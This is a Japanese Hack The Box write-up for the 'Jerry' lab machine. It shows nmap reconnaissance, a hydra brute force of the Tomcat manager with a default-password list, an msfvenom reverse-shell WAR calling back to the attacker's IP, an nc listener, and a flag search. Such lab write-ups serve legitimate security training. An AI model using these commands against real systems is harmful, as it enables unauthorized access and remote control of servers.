Hack the box - Jerry
nmapでRecon
8080/tcpでApache Tomcat/Coyote JSP engine 1.1
を使っていることがわかる
PORT STATE SERVICE VERSION8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1|_http-favicon: Apache Tomcat|_http-title: Apache Tomcat/7.0.88|_http-server-header: Apache-Coyote/1.1
2. Tomcat管理者画面へのアクセス
Web画面にアクセスすると、Apache Tomcatの管理者画面へのリンクがある。
kaliのなかにTomcatのデフォルトパスワードの辞書があるので、ユーザ名とパスワードを別ファイルに取り出してhydra
に取り込む形で準備しておく。
$ cat /usr/share/wordlists/passwords/tomcat-betterdefaultpasslist.txt | cut -d ':' -f 1 | sort -u > name.txt
$ cat /usr/share/wordlists/passwords/tomcat-betterdefaultpasslist.txt | cut -d ':' -f 2 | sort -u > pass.txt
これをhydraに食わせる。
$ hydra -L name.txt -P pass.txt -s 8080 jerry.htb http-get /manager/htmlHydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-03 23:56:26[DATA] max 16 tasks per 1 server, overall 16 tasks, 420 login tries (l:15/p:28), ~27 tries per task[DATA] attacking http-get://jerry.htb:8080/manager/html[8080][http-get] host: jerry.htb login: admin password: admin[8080][http-get] host: jerry.htb login: tomcat password: s3cret1 of 1 target successfully completed, 2 valid passwords foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-03 23:56:34
3. リバースシェルのデプロイ、実行
Tomcatの管理画面からwarファイルをデプロイすることができるので、msfvenomでリバースシェルのwarファイルを作成する。
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f war -e x86/shikata_ga_nai > reverse.warPayload size: 1092 bytesFinal size of war file: 1092 bytes
いつもはFirefoxを使用しているがアップロード時に接続が遮断されてしまうので、 試しにChromiumから実施すると通った。
待ち受け側はnc
で準備しておき、アップロードしたwarファイルのパスへアクセスするとリバースシェルが起動する。
$ nc -lvnp 4444listening on [any] 4444 ...connect to [10.10.14.34] from (UNKNOWN) [10.129.136.9] 49194Microsoft Windows [Version 6.3.9600](c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>
4. flag探索
flag
を含むファイル、ディレクトリを探す。
c:\>dir /b /s /a *flag*dir /b /s /a *flag*c:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\flags.lnkc:\Users\Administrator\Desktop\flags
Administrator
のDesktop
に怪しげなフォルダがあるのでアクセスすると、userとrootの両方のフラグをゲット。